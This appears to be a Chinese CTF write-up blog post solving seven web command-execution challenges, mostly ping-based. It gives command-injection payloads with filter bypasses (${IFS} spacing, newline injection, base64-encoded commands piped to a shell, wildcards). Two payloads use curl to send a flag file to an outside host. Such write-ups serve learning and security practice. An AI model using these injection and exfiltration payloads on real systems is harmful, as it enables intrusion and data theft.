【Web】远程命令执行相关例题wp

目录

①[SWPUCTF 2021 新生赛]babyrce

②[LitCTF 2023]Ping

③[0xGame]ping

④[GXYCTF2019]Ping Ping Ping

⑤[qsnctf]PingMe02

⑥[CNSS]Ping

⑦[GeekChallenge2023]ctf_curl


rce篇1 适合新手入门的各种姿势

①[SWPUCTF 2021 新生赛]babyrce

  

用hackbar往cookie里写: admin=1
 

【Web】远程命令执行相关例题wp_第1张图片
回显新文件,访问

【Web】远程命令执行相关例题wp_第2张图片
过滤空格,用${IFS}绕过

(这里注意:shell_exec是无回显的,一般单独出现会涉及到dnslog外带,但这里后续echo $a实现了回显,属实良心了)

?url=ls${IFS}/

【Web】远程命令执行相关例题wp_第3张图片
看到flag文件,拿下

?url=cat${IFS}/flllllaaaaaaggggggg 

②[LitCTF 2023]Ping

【Web】远程命令执行相关例题wp_第4张图片

试图直接拼接RCE,弹窗发现是前端限制
1.禁一手JavaScript

【Web】远程命令执行相关例题wp_第5张图片
2.127.0.0.1|ls / 查看到根目录下有flag
3.127.0.0.1|cat /flag 查看根目录下的flag,直接爆出flag

③[0xGame]ping

(写此文时平台关了,所以没有图)

右键源代码可以看到 hint
visit '/api.php?source' for hint
sanitize 函数会 replace ⼀些字符
; %0a 绕过 , 空格⽤ ${IFS} 绕过 , / 以及 flag base64 编码绕过(这个姿势可以积累下)
然后 preg_match 会匹配⼀个 IP 的正则表达式 , 但是正则前后并没有包含 ^...$ , 因此像 test127.0.0.1test
这种形式也能够通过检测
payload
前端对 IP 的格式做了限制但是并没有什么⽤ , F12 改⼀改或者直接⽤ burpsuite 发包就⾏
ip=127.0.0.1%0aecho${IFS}Y2F0IC9mbGFnCg==|base64${IFS}-d|bash

[GXYCTF2019]Ping Ping Ping

开幕雷击,显然rce注入点在url中

【Web】远程命令执行相关例题wp_第6张图片

随便ping一下可以成功

尝试分号拼接

发现过滤关键词

【Web】远程命令执行相关例题wp_第7张图片

删去/,成功执行,则后台waf中含/

不过出题人也算人道,flag.php就放在了当前目录

直接cat

发现过滤空格,${IFS}或$IFS$9绕过

发现还有关键词被waf拦截,猜测是flag,尝试用通配符绕过

看来还是过滤了挺多东西的,这种时候不要慌,我们还可以读同目录index.php的源码

(ps:经过尝试发现只有${IFS}$9可以绕过空格)

【Web】远程命令执行相关例题wp_第8张图片

flag每个字母都被过滤了,bash也被拿下,但好在sh还在,可以base64绕过!

给出最终payload:?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

f12查看源码得到flag

【Web】远程命令执行相关例题wp_第9张图片

⑤[qsnctf]PingMe02

熟悉开局

随便ping一下

【Web】远程命令执行相关例题wp_第10张图片

发现空格过滤,${IFS}绕过

发现flag文件,尝试cat

【Web】远程命令执行相关例题wp_第11张图片

发现cat被过滤,用tac绕过(其实more,head,tail这些也行)

发现flag关键词被过滤,直接通配符绕过

【Web】远程命令执行相关例题wp_第12张图片

【Web】远程命令执行相关例题wp_第13张图片

⑥[CNSS]Ping

【Web】远程命令执行相关例题wp_第14张图片

先审下源码:

n12br()函数作用

ping函数返回值是$output,赋值给了$ping_result

之后echo n12br($ping_result)使原本无回显的exec有了回显

这里有两种姿势

给出payload:

ip=127.0.0.1;ls /

ip=127.0.0.1;cat /flag

②(主要一开始没注意到exec这里设计是有回显,所以直接外带了)

ip=127.0.0.1;curl -T /flag YourVps

⑦[GeekChallenge2023]ctf_curl

【Web】远程命令执行相关例题wp_第15张图片

注释第二行直接告诉了flag的路径,暗示挺明显了,直接curl外带

payload:?addr=-d '@/tmp/Syclover' -X POST "xxxx.ceye.io"

你可能感兴趣的:(服务器,linux)